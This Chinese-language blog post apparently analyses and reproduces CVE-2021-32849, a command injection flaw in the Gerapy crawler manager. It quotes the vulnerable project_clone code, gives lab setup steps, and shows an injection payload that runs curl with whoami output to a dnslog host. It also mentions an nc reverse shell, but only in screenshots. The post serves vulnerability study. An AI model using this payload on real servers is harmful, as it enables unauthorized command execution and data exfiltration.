Gerapy 远程命令执行(CVE-2021-32849)分析和复现

简介

Gerapy是一款基于Scrapy、Scrapyd、Django和Vue.js的分布式爬虫管理框架。

漏洞描述

该漏洞源于程序没有正确清理通过project_clone端点传递给Popen的输入。攻击者可利用该漏洞执行任意命令。

影响版本

Gerapy <= 0.9.7

代码分析

此次漏洞产生于gerapy/server/core/views.py文件

关键代码


@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_clone(request):
    """
    clone project from github
    :param request: request object
    :return: json
    """
    if request.method == 'POST':
        data = json.loads(request.body)
        address = data.get('address')
        if not address.startswith('http'):
            return JsonResponse({'status': False})
        address = address + '.git' if not address.endswith('.git') else address
        cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
        logger.debug('clone cmd %s', mcd)
        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
        logger.debug('clone run result %s', stdout)
        if stderr: logger.error(stderr)
        return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})

漏洞所在的网站位置:

请添加图片描述
发送正常的请求包:
请添加图片描述
从代码,网站漏洞地址,发送的数据包可以分析出,在项目管理的创建的功能中,有一个功能可以克隆github上面的项目,在代码中以address的json数据进行接收,并将地址address拼接到cmd中,最后以Popen执行cmd,在中间没有存在过滤,检验也只是检验地址必须以http开头,.git进行结尾,所以我们可以进行拼接自己的命令来达成执行任意命令的目的

环境搭建

本次实验环境在kali虚拟机里进行搭建

执行以下命令进行安装gerapy

pip install gerapy==0.9.7 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 
pip install scrapyd -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 

可以通过gerapy检测安装是否成功
请添加图片描述

先运行scrapyd
请添加图片描述
然后通过以下命令设置gerapy的相关参数

gerapy init  ##初始化
cd gerapy   ##进入工作目录
gerapy migrate ##自动创建数据库
gerapy createsuperuser   ##设置管理员账号密码
gerapy runserver 0.0.0.0:8000   ##开启服务

设置完成后浏览器访问
请添加图片描述

漏洞复现

登入后台后,如图所示依次点击,项目管理>创建>克隆
请添加图片描述
然后随意填写通过burp进行抓包
然后在后面拼接上以下命令

;curl `whoami`.thh0lg.dnslog.cn

请添加图片描述
查看结果,命令结果成功被外带出来
请添加图片描述
进行反弹shell,因为此次环境为kali虚拟机,没有/dev/tcp这个特殊的设备进行调用socket,我就偷懒直接使用nc了,构造命令进行反弹,在其他实验环境中也可以使用不同的反弹shell方法
请添加图片描述
请添加图片描述

本文章仅供学习使用。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值